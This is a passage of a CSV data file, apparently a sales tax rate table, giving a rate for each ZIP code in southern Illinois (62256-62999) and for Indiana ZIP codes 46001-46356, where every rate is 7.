US-IL-62256,US,IL,62256,6.5,,,, US-IL-62257,US,IL,62257,6.6,,,, US-IL-62258,US,IL,62258,7.6,,,, US-IL-62259,US,IL,62259,6.25,,,, US-IL-62260,US,IL,62260,6.6,,,, US-IL-62261,US,IL,62261,6.25,,,, US-IL-62262,US,IL,62262,6.25,,,, US-IL-62263,US,IL,62263,6.25,,,, US-IL-62264,US,IL,62264,7.35,,,, US-IL-62265,US,IL,62265,6.5,,,, US-IL-62266,US,IL,62266,6.25,,,, US-IL-62268,US,IL,62268,6.25,,,, US-IL-62269,US,IL,62269,7.85,,,, US-IL-62271,US,IL,62271,6.25,,,, US-IL-62272,US,IL,62272,6.25,,,, US-IL-62273,US,IL,62273,6.25,,,, US-IL-62274,US,IL,62274,6.75,,,, US-IL-62275,US,IL,62275,6.25,,,, US-IL-62277,US,IL,62277,6.5,,,, US-IL-62278,US,IL,62278,6.25,,,, US-IL-62279,US,IL,62279,6.5,,,, US-IL-62280,US,IL,62280,6.25,,,, US-IL-62281,US,IL,62281,6.85,,,, US-IL-62282,US,IL,62282,6.6,,,, US-IL-62284,US,IL,62284,6.25,,,, US-IL-62285,US,IL,62285,7.35,,,, US-IL-62286,US,IL,62286,6.75,,,, US-IL-62288,US,IL,62288,6.25,,,, US-IL-62289,US,IL,62289,7.35,,,, US-IL-62292,US,IL,62292,6.25,,,, US-IL-62293,US,IL,62293,6.25,,,, US-IL-62294,US,IL,62294,6.85,,,, US-IL-62295,US,IL,62295,6.5,,,, US-IL-62297,US,IL,62297,6.25,,,, US-IL-62298,US,IL,62298,6.5,,,, US-IL-62301,US,IL,62301,7.75,,,, US-IL-62305,US,IL,62305,6.25,,,, US-IL-62306,US,IL,62306,6.25,,,, US-IL-62311,US,IL,62311,6.25,,,, US-IL-62312,US,IL,62312,6.75,,,, US-IL-62313,US,IL,62313,6.25,,,, US-IL-62314,US,IL,62314,6.75,,,, US-IL-62316,US,IL,62316,6.25,,,, US-IL-62319,US,IL,62319,7.25,,,, US-IL-62320,US,IL,62320,6.25,,,, US-IL-62321,US,IL,62321,6.75,,,, US-IL-62323,US,IL,62323,6.75,,,, US-IL-62324,US,IL,62324,6.25,,,, US-IL-62325,US,IL,62325,6.25,,,, US-IL-62326,US,IL,62326,6.75,,,, US-IL-62329,US,IL,62329,6.25,,,, US-IL-62330,US,IL,62330,6.25,,,, US-IL-62334,US,IL,62334,6.25,,,, US-IL-62336,US,IL,62336,6.25,,,, US-IL-62338,US,IL,62338,6.25,,,, US-IL-62339,US,IL,62339,6.25,,,, US-IL-62340,US,IL,62340,6.75,,,, US-IL-62341,US,IL,62341,6.25,,,, US-IL-62343,US,IL,62343,6.75,,,, US-IL-62345,US,IL,62345,6.75,,,, US-IL-62346,US,IL,62346,6.25,,,, US-IL-62347,US,IL,62347,6.25,,,, US-IL-62348,US,IL,62348,6.25,,,, US-IL-62349,US,IL,62349,6.25,,,, US-IL-62351,US,IL,62351,6.25,,,, US-IL-62352,US,IL,62352,6.75,,,, US-IL-62353,US,IL,62353,6.5,,,, US-IL-62354,US,IL,62354,7,,,, US-IL-62355,US,IL,62355,6.75,,,, US-IL-62356,US,IL,62356,6.75,,,, US-IL-62357,US,IL,62357,6.75,,,, US-IL-62358,US,IL,62358,6.25,,,, US-IL-62359,US,IL,62359,6.25,,,, US-IL-62360,US,IL,62360,6.25,,,, US-IL-62361,US,IL,62361,6.75,,,, US-IL-62362,US,IL,62362,6.75,,,, US-IL-62363,US,IL,62363,6.75,,,, US-IL-62365,US,IL,62365,6.25,,,, US-IL-62366,US,IL,62366,6.75,,,, US-IL-62367,US,IL,62367,6.25,,,, US-IL-62370,US,IL,62370,6.75,,,, US-IL-62373,US,IL,62373,6.25,,,, US-IL-62374,US,IL,62374,6.75,,,, US-IL-62375,US,IL,62375,6.5,,,, US-IL-62376,US,IL,62376,6.25,,,, US-IL-62378,US,IL,62378,6.5,,,, US-IL-62379,US,IL,62379,6.25,,,, US-IL-62380,US,IL,62380,6.25,,,, US-IL-62401,US,IL,62401,6.5,,,, US-IL-62410,US,IL,62410,6.25,,,, US-IL-62411,US,IL,62411,6.5,,,, US-IL-62413,US,IL,62413,6.25,,,, US-IL-62414,US,IL,62414,6.5,,,, US-IL-62417,US,IL,62417,7.25,,,, US-IL-62418,US,IL,62418,6.25,,,, US-IL-62419,US,IL,62419,6.75,,,, US-IL-62420,US,IL,62420,7.25,,,, US-IL-62421,US,IL,62421,6.75,,,, US-IL-62422,US,IL,62422,6.25,,,, US-IL-62423,US,IL,62423,7.25,,,, US-IL-62424,US,IL,62424,6.5,,,, US-IL-62425,US,IL,62425,6.75,,,, US-IL-62426,US,IL,62426,6.5,,,, US-IL-62427,US,IL,62427,6.25,,,, US-IL-62428,US,IL,62428,6.75,,,, US-IL-62431,US,IL,62431,6.25,,,, US-IL-62432,US,IL,62432,6.25,,,, US-IL-62433,US,IL,62433,6.25,,,, US-IL-62434,US,IL,62434,6.75,,,, US-IL-62435,US,IL,62435,6.25,,,, US-IL-62436,US,IL,62436,6.25,,,, US-IL-62439,US,IL,62439,7.25,,,, US-IL-62440,US,IL,62440,6.25,,,, US-IL-62441,US,IL,62441,7.25,,,, US-IL-62442,US,IL,62442,7.25,,,, US-IL-62443,US,IL,62443,6.5,,,, US-IL-62445,US,IL,62445,6.5,,,, US-IL-62446,US,IL,62446,7,,,, US-IL-62447,US,IL,62447,6.25,,,, US-IL-62448,US,IL,62448,6.25,,,, US-IL-62449,US,IL,62449,6.25,,,, US-IL-62450,US,IL,62450,6.75,,,, US-IL-62451,US,IL,62451,6.25,,,, US-IL-62452,US,IL,62452,6.75,,,, US-IL-62454,US,IL,62454,6.25,,,, US-IL-62458,US,IL,62458,6.25,,,, US-IL-62459,US,IL,62459,6.25,,,, US-IL-62460,US,IL,62460,7.25,,,, US-IL-62461,US,IL,62461,6.5,,,, US-IL-62462,US,IL,62462,6.25,,,, US-IL-62463,US,IL,62463,6.25,,,, US-IL-62464,US,IL,62464,6.25,,,, US-IL-62465,US,IL,62465,6.25,,,, US-IL-62466,US,IL,62466,7.25,,,, US-IL-62467,US,IL,62467,6.5,,,, US-IL-62468,US,IL,62468,6.25,,,, US-IL-62469,US,IL,62469,6.25,,,, US-IL-62471,US,IL,62471,6.75,,,, US-IL-62473,US,IL,62473,6.5,,,, US-IL-62474,US,IL,62474,7.25,,,, US-IL-62475,US,IL,62475,6.25,,,, US-IL-62476,US,IL,62476,6.25,,,, US-IL-62477,US,IL,62477,7.25,,,, US-IL-62478,US,IL,62478,6.25,,,, US-IL-62479,US,IL,62479,6.25,,,, US-IL-62480,US,IL,62480,6.25,,,, US-IL-62481,US,IL,62481,6.25,,,, US-IL-62501,US,IL,62501,7.5,,,, US-IL-62510,US,IL,62510,6.25,,,, US-IL-62512,US,IL,62512,7.75,,,, US-IL-62513,US,IL,62513,7.5,,,, US-IL-62514,US,IL,62514,7.5,,,, US-IL-62515,US,IL,62515,6.25,,,, US-IL-62517,US,IL,62517,6.25,,,, US-IL-62518,US,IL,62518,7.75,,,, US-IL-62519,US,IL,62519,7.75,,,, US-IL-62520,US,IL,62520,6.25,,,, US-IL-62521,US,IL,62521,9,,,, US-IL-62522,US,IL,62522,9,,,, US-IL-62523,US,IL,62523,9,,,, US-IL-62524,US,IL,62524,9,,,, US-IL-62525,US,IL,62525,9,,,, US-IL-62526,US,IL,62526,9,,,, US-IL-62530,US,IL,62530,6.25,,,, US-IL-62531,US,IL,62531,6.25,,,, US-IL-62532,US,IL,62532,7.5,,,, US-IL-62533,US,IL,62533,7.25,,,, US-IL-62534,US,IL,62534,6.25,,,, US-IL-62535,US,IL,62535,8.5,,,, US-IL-62536,US,IL,62536,6.25,,,, US-IL-62537,US,IL,62537,7.5,,,, US-IL-62538,US,IL,62538,6.25,,,, US-IL-62539,US,IL,62539,6.25,,,, US-IL-62540,US,IL,62540,6.25,,,, US-IL-62541,US,IL,62541,7.75,,,, US-IL-62543,US,IL,62543,7.75,,,, US-IL-62544,US,IL,62544,7.5,,,, US-IL-62545,US,IL,62545,6.25,,,, US-IL-62546,US,IL,62546,6.25,,,, US-IL-62547,US,IL,62547,6.25,,,, US-IL-62548,US,IL,62548,7.75,,,, US-IL-62549,US,IL,62549,7.5,,,, US-IL-62550,US,IL,62550,6.25,,,, US-IL-62551,US,IL,62551,7.5,,,, US-IL-62553,US,IL,62553,6.25,,,, US-IL-62554,US,IL,62554,7.5,,,, US-IL-62555,US,IL,62555,6.25,,,, US-IL-62556,US,IL,62556,6.25,,,, US-IL-62557,US,IL,62557,6.25,,,, US-IL-62558,US,IL,62558,6.25,,,, US-IL-62560,US,IL,62560,6.25,,,, US-IL-62561,US,IL,62561,6.25,,,, US-IL-62563,US,IL,62563,6.25,,,, US-IL-62565,US,IL,62565,7.25,,,, US-IL-62567,US,IL,62567,6.25,,,, US-IL-62568,US,IL,62568,7,,,, US-IL-62570,US,IL,62570,6.25,,,, US-IL-62571,US,IL,62571,6.25,,,, US-IL-62572,US,IL,62572,6.25,,,, US-IL-62573,US,IL,62573,7.5,,,, US-IL-62601,US,IL,62601,6.25,,,, US-IL-62610,US,IL,62610,6.25,,,, US-IL-62611,US,IL,62611,8.25,,,, US-IL-62612,US,IL,62612,8.25,,,, US-IL-62613,US,IL,62613,7.25,,,, US-IL-62615,US,IL,62615,6.25,,,, US-IL-62617,US,IL,62617,6.25,,,, US-IL-62618,US,IL,62618,8.25,,,, US-IL-62621,US,IL,62621,6.25,,,, US-IL-62622,US,IL,62622,8.25,,,, US-IL-62624,US,IL,62624,7.25,,,, US-IL-62625,US,IL,62625,6.25,,,, US-IL-62626,US,IL,62626,6.25,,,, US-IL-62627,US,IL,62627,8.25,,,, US-IL-62628,US,IL,62628,6.25,,,, US-IL-62629,US,IL,62629,6.25,,,, US-IL-62630,US,IL,62630,6.25,,,, US-IL-62631,US,IL,62631,6.25,,,, US-IL-62633,US,IL,62633,6.25,,,, US-IL-62634,US,IL,62634,7.75,,,, US-IL-62635,US,IL,62635,7.75,,,, US-IL-62638,US,IL,62638,6.25,,,, US-IL-62639,US,IL,62639,7.25,,,, US-IL-62640,US,IL,62640,6.25,,,, US-IL-62642,US,IL,62642,7.25,,,, US-IL-62643,US,IL,62643,7.75,,,, US-IL-62644,US,IL,62644,6.75,,,, US-IL-62649,US,IL,62649,6.25,,,, US-IL-62650,US,IL,62650,7,,,, US-IL-62651,US,IL,62651,7,,,, US-IL-62655,US,IL,62655,6.25,,,, US-IL-62656,US,IL,62656,8.25,,,, US-IL-62659,US,IL,62659,7.25,,,, US-IL-62661,US,IL,62661,6.25,,,, US-IL-62662,US,IL,62662,6.25,,,, US-IL-62663,US,IL,62663,6.25,,,, US-IL-62664,US,IL,62664,6.25,,,, US-IL-62665,US,IL,62665,6.25,,,, US-IL-62666,US,IL,62666,7.75,,,, US-IL-62667,US,IL,62667,6.25,,,, US-IL-62668,US,IL,62668,6.25,,,, US-IL-62670,US,IL,62670,6.25,,,, US-IL-62671,US,IL,62671,7.75,,,, US-IL-62672,US,IL,62672,6.25,,,, US-IL-62673,US,IL,62673,7.25,,,, US-IL-62674,US,IL,62674,6.25,,,, US-IL-62675,US,IL,62675,7.25,,,, US-IL-62677,US,IL,62677,6.25,,,, US-IL-62681,US,IL,62681,7.25,,,, US-IL-62682,US,IL,62682,6.25,,,, US-IL-62683,US,IL,62683,6.25,,,, US-IL-62684,US,IL,62684,6.75,,,, US-IL-62685,US,IL,62685,6.25,,,, US-IL-62688,US,IL,62688,7.25,,,, US-IL-62689,US,IL,62689,6.25,,,, US-IL-62690,US,IL,62690,6.25,,,, US-IL-62691,US,IL,62691,8.25,,,, US-IL-62692,US,IL,62692,6.25,,,, US-IL-62693,US,IL,62693,6.25,,,, US-IL-62694,US,IL,62694,6.25,,,, US-IL-62695,US,IL,62695,6.25,,,, US-IL-62701,US,IL,62701,8,,,, US-IL-62702,US,IL,62702,8,,,, US-IL-62703,US,IL,62703,8,,,, US-IL-62704,US,IL,62704,8,,,, US-IL-62705,US,IL,62705,8,,,, US-IL-62706,US,IL,62706,8,,,, US-IL-62707,US,IL,62707,6.25,,,, US-IL-62708,US,IL,62708,8,,,, US-IL-62711,US,IL,62711,8,,,, US-IL-62712,US,IL,62712,8,,,, US-IL-62715,US,IL,62715,8,,,, US-IL-62716,US,IL,62716,6.25,,,, US-IL-62719,US,IL,62719,8,,,, US-IL-62721,US,IL,62721,8,,,, US-IL-62722,US,IL,62722,8,,,, US-IL-62723,US,IL,62723,8,,,, US-IL-62726,US,IL,62726,8,,,, US-IL-62736,US,IL,62736,8,,,, US-IL-62739,US,IL,62739,8,,,, US-IL-62756,US,IL,62756,8,,,, US-IL-62757,US,IL,62757,8,,,, US-IL-62761,US,IL,62761,8,,,, US-IL-62762,US,IL,62762,8,,,, US-IL-62763,US,IL,62763,8,,,, US-IL-62764,US,IL,62764,8,,,, US-IL-62765,US,IL,62765,8,,,, US-IL-62766,US,IL,62766,8,,,, US-IL-62767,US,IL,62767,8,,,, US-IL-62769,US,IL,62769,8,,,, US-IL-62776,US,IL,62776,8,,,, US-IL-62777,US,IL,62777,8,,,, US-IL-62781,US,IL,62781,8,,,, US-IL-62786,US,IL,62786,8,,,, US-IL-62791,US,IL,62791,8,,,, US-IL-62794,US,IL,62794,8,,,, US-IL-62796,US,IL,62796,8,,,, US-IL-62801,US,IL,62801,6.5,,,, US-IL-62803,US,IL,62803,6.25,,,, US-IL-62806,US,IL,62806,6.25,,,, US-IL-62807,US,IL,62807,6.5,,,, US-IL-62808,US,IL,62808,6.25,,,, US-IL-62809,US,IL,62809,7,,,, US-IL-62810,US,IL,62810,6.5,,,, US-IL-62811,US,IL,62811,6.25,,,, US-IL-62812,US,IL,62812,8.5,,,, US-IL-62814,US,IL,62814,6.5,,,, US-IL-62815,US,IL,62815,6.25,,,, US-IL-62816,US,IL,62816,6.5,,,, US-IL-62817,US,IL,62817,6.25,,,, US-IL-62818,US,IL,62818,6.25,,,, US-IL-62819,US,IL,62819,7.25,,,, US-IL-62820,US,IL,62820,6.25,,,, US-IL-62821,US,IL,62821,7,,,, US-IL-62822,US,IL,62822,8.25,,,, US-IL-62823,US,IL,62823,7,,,, US-IL-62824,US,IL,62824,6.75,,,, US-IL-62825,US,IL,62825,7.25,,,, US-IL-62827,US,IL,62827,6.25,,,, US-IL-62828,US,IL,62828,6.25,,,, US-IL-62829,US,IL,62829,6.25,,,, US-IL-62830,US,IL,62830,6.5,,,, US-IL-62831,US,IL,62831,6.25,,,, US-IL-62832,US,IL,62832,8.25,,,, US-IL-62833,US,IL,62833,6.25,,,, US-IL-62834,US,IL,62834,6.25,,,, US-IL-62835,US,IL,62835,6.25,,,, US-IL-62836,US,IL,62836,7.25,,,, US-IL-62837,US,IL,62837,7,,,, US-IL-62838,US,IL,62838,6.25,,,, US-IL-62839,US,IL,62839,7.25,,,, US-IL-62840,US,IL,62840,8.25,,,, US-IL-62841,US,IL,62841,7.25,,,, US-IL-62842,US,IL,62842,7,,,, US-IL-62843,US,IL,62843,6.25,,,, US-IL-62844,US,IL,62844,6.25,,,, US-IL-62846,US,IL,62846,6.5,,,, US-IL-62848,US,IL,62848,6.25,,,, US-IL-62849,US,IL,62849,6.5,,,, US-IL-62850,US,IL,62850,7,,,, US-IL-62851,US,IL,62851,7,,,, US-IL-62852,US,IL,62852,6.25,,,, US-IL-62853,US,IL,62853,6.5,,,, US-IL-62854,US,IL,62854,6.5,,,, US-IL-62855,US,IL,62855,6.25,,,, US-IL-62856,US,IL,62856,7.25,,,, US-IL-62858,US,IL,62858,6.75,,,, US-IL-62859,US,IL,62859,6.25,,,, US-IL-62860,US,IL,62860,7.25,,,, US-IL-62861,US,IL,62861,6.25,,,, US-IL-62862,US,IL,62862,6.25,,,, US-IL-62863,US,IL,62863,6.25,,,, US-IL-62864,US,IL,62864,8,,,, US-IL-62865,US,IL,62865,7.25,,,, US-IL-62866,US,IL,62866,6.5,,,, US-IL-62867,US,IL,62867,6.25,,,, US-IL-62868,US,IL,62868,6.75,,,, US-IL-62869,US,IL,62869,6.25,,,, US-IL-62870,US,IL,62870,6.5,,,, US-IL-62871,US,IL,62871,6.25,,,, US-IL-62872,US,IL,62872,6.5,,,, US-IL-62874,US,IL,62874,8.25,,,, US-IL-62875,US,IL,62875,6.5,,,, US-IL-62876,US,IL,62876,6.25,,,, US-IL-62877,US,IL,62877,6.25,,,, US-IL-62878,US,IL,62878,7,,,, US-IL-62879,US,IL,62879,6.75,,,, US-IL-62880,US,IL,62880,6.25,,,, US-IL-62881,US,IL,62881,7.5,,,, US-IL-62882,US,IL,62882,6.5,,,, US-IL-62883,US,IL,62883,6.5,,,, US-IL-62884,US,IL,62884,9,,,, US-IL-62885,US,IL,62885,6.25,,,, US-IL-62886,US,IL,62886,7,,,, US-IL-62887,US,IL,62887,6.25,,,, US-IL-62888,US,IL,62888,6.75,,,, US-IL-62889,US,IL,62889,6.5,,,, US-IL-62890,US,IL,62890,7.25,,,, US-IL-62891,US,IL,62891,7.25,,,, US-IL-62892,US,IL,62892,6.5,,,, US-IL-62893,US,IL,62893,6.5,,,, US-IL-62894,US,IL,62894,6.5,,,, US-IL-62895,US,IL,62895,7,,,, US-IL-62896,US,IL,62896,8.25,,,, US-IL-62897,US,IL,62897,7.25,,,, US-IL-62898,US,IL,62898,6.5,,,, US-IL-62899,US,IL,62899,6.75,,,, US-IL-62901,US,IL,62901,8.25,,,, US-IL-62902,US,IL,62902,6.25,,,, US-IL-62903,US,IL,62903,6.25,,,, US-IL-62905,US,IL,62905,7.5,,,, US-IL-62906,US,IL,62906,7.5,,,, US-IL-62907,US,IL,62907,6.25,,,, US-IL-62908,US,IL,62908,6.25,,,, US-IL-62909,US,IL,62909,6.75,,,, US-IL-62910,US,IL,62910,6.25,,,, US-IL-62912,US,IL,62912,6.75,,,, US-IL-62914,US,IL,62914,6.25,,,, US-IL-62915,US,IL,62915,8.75,,,, US-IL-62916,US,IL,62916,6.25,,,, US-IL-62917,US,IL,62917,8,,,, US-IL-62918,US,IL,62918,8.75,,,, US-IL-62919,US,IL,62919,6.25,,,, US-IL-62920,US,IL,62920,7.5,,,, US-IL-62921,US,IL,62921,7.25,,,, US-IL-62922,US,IL,62922,7.25,,,, US-IL-62923,US,IL,62923,6.75,,,, US-IL-62924,US,IL,62924,6.25,,,, US-IL-62926,US,IL,62926,7.5,,,, US-IL-62927,US,IL,62927,6.25,,,, US-IL-62928,US,IL,62928,6.25,,,, US-IL-62930,US,IL,62930,8,,,, US-IL-62931,US,IL,62931,6.25,,,, US-IL-62932,US,IL,62932,6.25,,,, US-IL-62933,US,IL,62933,7.25,,,, US-IL-62934,US,IL,62934,6.25,,,, US-IL-62935,US,IL,62935,8,,,, US-IL-62938,US,IL,62938,6.25,,,, US-IL-62939,US,IL,62939,6.75,,,, US-IL-62940,US,IL,62940,6.25,,,, US-IL-62941,US,IL,62941,6.25,,,, US-IL-62942,US,IL,62942,6.25,,,, US-IL-62943,US,IL,62943,6.75,,,, US-IL-62946,US,IL,62946,8,,,, US-IL-62947,US,IL,62947,6.25,,,, US-IL-62948,US,IL,62948,8.5,,,, US-IL-62949,US,IL,62949,8.25,,,, US-IL-62950,US,IL,62950,6.25,,,, US-IL-62951,US,IL,62951,8.75,,,, US-IL-62952,US,IL,62952,7.5,,,, US-IL-62953,US,IL,62953,6.25,,,, US-IL-62954,US,IL,62954,6.25,,,, US-IL-62955,US,IL,62955,6.25,,,, US-IL-62956,US,IL,62956,6.25,,,, US-IL-62957,US,IL,62957,6.25,,,, US-IL-62958,US,IL,62958,6.25,,,, US-IL-62959,US,IL,62959,8.5,,,, US-IL-62960,US,IL,62960,6.25,,,, US-IL-62961,US,IL,62961,7.5,,,, US-IL-62962,US,IL,62962,6.25,,,, US-IL-62963,US,IL,62963,6.25,,,, US-IL-62964,US,IL,62964,6.25,,,, US-IL-62965,US,IL,62965,8,,,, US-IL-62966,US,IL,62966,6.25,,,, US-IL-62967,US,IL,62967,6.75,,,, US-IL-62969,US,IL,62969,6.25,,,, US-IL-62970,US,IL,62970,6.25,,,, US-IL-62971,US,IL,62971,6.25,,,, US-IL-62972,US,IL,62972,6.75,,,, US-IL-62973,US,IL,62973,6.25,,,, US-IL-62974,US,IL,62974,7.25,,,, US-IL-62975,US,IL,62975,6.25,,,, US-IL-62976,US,IL,62976,6.25,,,, US-IL-62977,US,IL,62977,8,,,, US-IL-62979,US,IL,62979,6.25,,,, US-IL-62982,US,IL,62982,6.25,,,, US-IL-62983,US,IL,62983,7.25,,,, US-IL-62984,US,IL,62984,6.25,,,, US-IL-62985,US,IL,62985,6.75,,,, US-IL-62987,US,IL,62987,8,,,, US-IL-62988,US,IL,62988,6.25,,,, US-IL-62990,US,IL,62990,6.25,,,, US-IL-62992,US,IL,62992,6.25,,,, US-IL-62994,US,IL,62994,6.25,,,, US-IL-62995,US,IL,62995,6.75,,,, US-IL-62996,US,IL,62996,6.25,,,, US-IL-62997,US,IL,62997,6.75,,,, US-IL-62998,US,IL,62998,7.5,,,, US-IL-62999,US,IL,62999,7.25,,,, US-IN-46001,US,IN,46001,7,,,, US-IN-46011,US,IN,46011,7,,,, US-IN-46012,US,IN,46012,7,,,, US-IN-46013,US,IN,46013,7,,,, US-IN-46014,US,IN,46014,7,,,, US-IN-46015,US,IN,46015,7,,,, US-IN-46016,US,IN,46016,7,,,, US-IN-46017,US,IN,46017,7,,,, US-IN-46018,US,IN,46018,7,,,, US-IN-46030,US,IN,46030,7,,,, US-IN-46031,US,IN,46031,7,,,, US-IN-46032,US,IN,46032,7,,,, US-IN-46033,US,IN,46033,7,,,, US-IN-46034,US,IN,46034,7,,,, US-IN-46035,US,IN,46035,7,,,, US-IN-46036,US,IN,46036,7,,,, US-IN-46037,US,IN,46037,7,,,, US-IN-46038,US,IN,46038,7,,,, US-IN-46039,US,IN,46039,7,,,, US-IN-46040,US,IN,46040,7,,,, US-IN-46041,US,IN,46041,7,,,, US-IN-46044,US,IN,46044,7,,,, US-IN-46045,US,IN,46045,7,,,, US-IN-46047,US,IN,46047,7,,,, US-IN-46048,US,IN,46048,7,,,, US-IN-46049,US,IN,46049,7,,,, US-IN-46050,US,IN,46050,7,,,, US-IN-46051,US,IN,46051,7,,,, US-IN-46052,US,IN,46052,7,,,, US-IN-46055,US,IN,46055,7,,,, US-IN-46056,US,IN,46056,7,,,, US-IN-46057,US,IN,46057,7,,,, US-IN-46058,US,IN,46058,7,,,, US-IN-46060,US,IN,46060,7,,,, US-IN-46061,US,IN,46061,7,,,, US-IN-46062,US,IN,46062,7,,,, US-IN-46063,US,IN,46063,7,,,, US-IN-46064,US,IN,46064,7,,,, US-IN-46065,US,IN,46065,7,,,, US-IN-46067,US,IN,46067,7,,,, US-IN-46068,US,IN,46068,7,,,, US-IN-46069,US,IN,46069,7,,,, US-IN-46070,US,IN,46070,7,,,, US-IN-46071,US,IN,46071,7,,,, US-IN-46072,US,IN,46072,7,,,, US-IN-46074,US,IN,46074,7,,,, US-IN-46075,US,IN,46075,7,,,, US-IN-46076,US,IN,46076,7,,,, US-IN-46077,US,IN,46077,7,,,, US-IN-46082,US,IN,46082,7,,,, US-IN-46085,US,IN,46085,7,,,, US-IN-46102,US,IN,46102,7,,,, US-IN-46103,US,IN,46103,7,,,, US-IN-46104,US,IN,46104,7,,,, US-IN-46105,US,IN,46105,7,,,, US-IN-46106,US,IN,46106,7,,,, US-IN-46107,US,IN,46107,7,,,, US-IN-46110,US,IN,46110,7,,,, US-IN-46111,US,IN,46111,7,,,, US-IN-46112,US,IN,46112,7,,,, US-IN-46113,US,IN,46113,7,,,, US-IN-46115,US,IN,46115,7,,,, US-IN-46117,US,IN,46117,7,,,, US-IN-46118,US,IN,46118,7,,,, US-IN-46120,US,IN,46120,7,,,, US-IN-46121,US,IN,46121,7,,,, US-IN-46122,US,IN,46122,7,,,, US-IN-46123,US,IN,46123,7,,,, US-IN-46124,US,IN,46124,7,,,, US-IN-46125,US,IN,46125,7,,,, US-IN-46126,US,IN,46126,7,,,, US-IN-46127,US,IN,46127,7,,,, US-IN-46128,US,IN,46128,7,,,, US-IN-46129,US,IN,46129,7,,,, US-IN-46130,US,IN,46130,7,,,, US-IN-46131,US,IN,46131,7,,,, US-IN-46133,US,IN,46133,7,,,, US-IN-46135,US,IN,46135,7,,,, US-IN-46140,US,IN,46140,7,,,, US-IN-46142,US,IN,46142,7,,,, US-IN-46143,US,IN,46143,7,,,, US-IN-46144,US,IN,46144,7,,,, US-IN-46146,US,IN,46146,7,,,, US-IN-46147,US,IN,46147,7,,,, US-IN-46148,US,IN,46148,7,,,, US-IN-46149,US,IN,46149,7,,,, US-IN-46150,US,IN,46150,7,,,, US-IN-46151,US,IN,46151,7,,,, US-IN-46154,US,IN,46154,7,,,, US-IN-46155,US,IN,46155,7,,,, US-IN-46156,US,IN,46156,7,,,, US-IN-46157,US,IN,46157,7,,,, US-IN-46158,US,IN,46158,7,,,, US-IN-46160,US,IN,46160,7,,,, US-IN-46161,US,IN,46161,7,,,, US-IN-46162,US,IN,46162,7,,,, US-IN-46163,US,IN,46163,7,,,, US-IN-46164,US,IN,46164,7,,,, US-IN-46165,US,IN,46165,7,,,, US-IN-46166,US,IN,46166,7,,,, US-IN-46167,US,IN,46167,7,,,, US-IN-46168,US,IN,46168,7,,,, US-IN-46170,US,IN,46170,7,,,, US-IN-46171,US,IN,46171,7,,,, US-IN-46172,US,IN,46172,7,,,, US-IN-46173,US,IN,46173,7,,,, US-IN-46175,US,IN,46175,7,,,, US-IN-46176,US,IN,46176,7,,,, US-IN-46180,US,IN,46180,7,,,, US-IN-46181,US,IN,46181,7,,,, US-IN-46182,US,IN,46182,7,,,, US-IN-46183,US,IN,46183,7,,,, US-IN-46184,US,IN,46184,7,,,, US-IN-46186,US,IN,46186,7,,,, US-IN-46197,US,IN,46197,7,,,, US-IN-46201,US,IN,46201,7,,,, US-IN-46202,US,IN,46202,7,,,, US-IN-46203,US,IN,46203,7,,,, US-IN-46204,US,IN,46204,7,,,, US-IN-46205,US,IN,46205,7,,,, US-IN-46206,US,IN,46206,7,,,, US-IN-46207,US,IN,46207,7,,,, US-IN-46208,US,IN,46208,7,,,, US-IN-46209,US,IN,46209,7,,,, US-IN-46211,US,IN,46211,7,,,, US-IN-46213,US,IN,46213,7,,,, US-IN-46214,US,IN,46214,7,,,, US-IN-46216,US,IN,46216,7,,,, US-IN-46217,US,IN,46217,7,,,, US-IN-46218,US,IN,46218,7,,,, US-IN-46219,US,IN,46219,7,,,, US-IN-46220,US,IN,46220,7,,,, US-IN-46221,US,IN,46221,7,,,, US-IN-46222,US,IN,46222,7,,,, US-IN-46224,US,IN,46224,7,,,, US-IN-46225,US,IN,46225,7,,,, US-IN-46226,US,IN,46226,7,,,, US-IN-46227,US,IN,46227,7,,,, US-IN-46228,US,IN,46228,7,,,, US-IN-46229,US,IN,46229,7,,,, US-IN-46230,US,IN,46230,7,,,, US-IN-46231,US,IN,46231,7,,,, US-IN-46234,US,IN,46234,7,,,, US-IN-46235,US,IN,46235,7,,,, US-IN-46236,US,IN,46236,7,,,, US-IN-46237,US,IN,46237,7,,,, US-IN-46239,US,IN,46239,7,,,, US-IN-46240,US,IN,46240,7,,,, US-IN-46241,US,IN,46241,7,,,, US-IN-46242,US,IN,46242,7,,,, US-IN-46244,US,IN,46244,7,,,, US-IN-46247,US,IN,46247,7,,,, US-IN-46249,US,IN,46249,7,,,, US-IN-46250,US,IN,46250,7,,,, US-IN-46251,US,IN,46251,7,,,, US-IN-46253,US,IN,46253,7,,,, US-IN-46254,US,IN,46254,7,,,, US-IN-46255,US,IN,46255,7,,,, US-IN-46256,US,IN,46256,7,,,, US-IN-46259,US,IN,46259,7,,,, US-IN-46260,US,IN,46260,7,,,, US-IN-46262,US,IN,46262,7,,,, US-IN-46266,US,IN,46266,7,,,, US-IN-46268,US,IN,46268,7,,,, US-IN-46274,US,IN,46274,7,,,, US-IN-46275,US,IN,46275,7,,,, US-IN-46277,US,IN,46277,7,,,, US-IN-46278,US,IN,46278,7,,,, US-IN-46280,US,IN,46280,7,,,, US-IN-46282,US,IN,46282,7,,,, US-IN-46283,US,IN,46283,7,,,, US-IN-46285,US,IN,46285,7,,,, US-IN-46290,US,IN,46290,7,,,, US-IN-46291,US,IN,46291,7,,,, US-IN-46295,US,IN,46295,7,,,, US-IN-46296,US,IN,46296,7,,,, US-IN-46298,US,IN,46298,7,,,, US-IN-46301,US,IN,46301,7,,,, US-IN-46302,US,IN,46302,7,,,, US-IN-46303,US,IN,46303,7,,,, US-IN-46304,US,IN,46304,7,,,, US-IN-46307,US,IN,46307,7,,,, US-IN-46308,US,IN,46308,7,,,, US-IN-46310,US,IN,46310,7,,,, US-IN-46311,US,IN,46311,7,,,, US-IN-46312,US,IN,46312,7,,,, US-IN-46319,US,IN,46319,7,,,, US-IN-46320,US,IN,46320,7,,,, US-IN-46321,US,IN,46321,7,,,, US-IN-46322,US,IN,46322,7,,,, US-IN-46323,US,IN,46323,7,,,, US-IN-46324,US,IN,46324,7,,,, US-IN-46325,US,IN,46325,7,,,, US-IN-46327,US,IN,46327,7,,,, US-IN-46340,US,IN,46340,7,,,, US-IN-46341,US,IN,46341,7,,,, US-IN-46342,US,IN,46342,7,,,, US-IN-46345,US,IN,46345,7,,,, US-IN-46346,US,IN,46346,7,,,, US-IN-46347,US,IN,46347,7,,,, US-IN-46348,US,IN,46348,7,,,, US-IN-46349,US,IN,46349,7,,,, US-IN-46350,US,IN,46350,7,,,, US-IN-46352,US,IN,46352,7,,,, US-IN-46355,US,IN,46355,7,,,, US-IN-46356,US,IN,46356,7,,,, 